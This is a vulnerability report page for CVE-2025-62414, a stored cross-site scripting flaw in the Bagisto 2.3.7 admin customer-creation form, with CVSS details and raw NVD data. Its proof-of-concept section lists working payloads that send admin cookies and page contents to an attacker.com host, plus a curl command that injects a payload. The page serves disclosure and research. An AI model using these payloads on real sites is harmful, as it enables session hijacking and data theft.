Security Vulnerability Report
中文
CVE-2025-62414 CVSS 6.9 MEDIUM

CVE-2025-62414

Published: 2025-10-16 19:15:34
Last Modified: 2025-10-22 17:21:51

Description

Bagisto is an open source laravel eCommerce platform. In Bagisto v2.3.7, the “Create New Customer” feature (in the admin panel) is vulnerable to Cross-Site Scripting (XSS). An attacker with access to the admin create-customer form can inject malicious JavaScript payloads into certain input fields. These payloads may later execute in the context of an admin’s browser or another user viewing the customer data, enabling session theft or admin-level actions. This vulnerability is fixed in 2.3.8.

CVSS Details

CVSS Score
6.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:webkul:bagisto:2.3.7:*:*:*:*:*:*:* - VULNERABLE
Bagisto < 2.3.8
Bagisto v2.3.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62414 - Bagisto Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in the "Create New Customer" feature --> <!-- Step 1: Attacker logs into Bagisto admin panel --> <!-- Step 2: Navigate to Customers > Create New Customer --> <!-- Step 3: Inject malicious payload into the "First Name" or "Last Name" field --> <!-- Payload 1: Basic cookie stealing --> <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Payload 2: Image tag with onerror handler (bypasses some filters) --> <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <!-- Payload 3: SVG-based XSS --> <svg onload="new Image().src='https://attacker.com/x?c='+document.cookie"> <!-- Payload 4: Admin action hijacking --> <script> fetch('/admin/catalog/products', {method: 'GET'}) .then(r => r.text()) .then(data => { fetch('https://attacker.com/exfil', { method: 'POST', body: data }); }); </script> <!-- Step 4: Submit the form - payload is stored in database --> <!-- Step 5: When another admin views the customer list/details page, the payload executes --> <!-- cURL example to create a customer with XSS payload --> curl -X POST 'https://target.com/admin/customers/create' \ -H 'Cookie: admin_session=<admin_session_cookie>' \ -d 'first_name=<img src=x onerror=alert(1)>&last_name=Test&[email protected]&password=Password123!'

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62414", "sourceIdentifier": "[email protected]", "published": "2025-10-16T19:15:34.170", "lastModified": "2025-10-22T17:21:50.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bagisto is an open source laravel eCommerce platform. In Bagisto v2.3.7, the “Create New Customer” feature (in the admin panel) is vulnerable to Cross-Site Scripting (XSS). An attacker with access to the admin create-customer form can inject malicious JavaScript payloads into certain input fields. These payloads may later execute in the context of an admin’s browser or another user viewing the customer data, enabling session theft or admin-level actions. This vulnerability is fixed in 2.3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}, {"lang": "en", "value": "CWE-87"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webkul:bagisto:2.3.7:*:*:*:*:*:*:*", "matchCriteriaId": "991C244A-9DC2-431C-8ABC-BCF3AE81AD09"}]}]}], "references": [{"url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-r9xj-mvqf-jm7w", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-r9xj-mvqf-jm7w", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}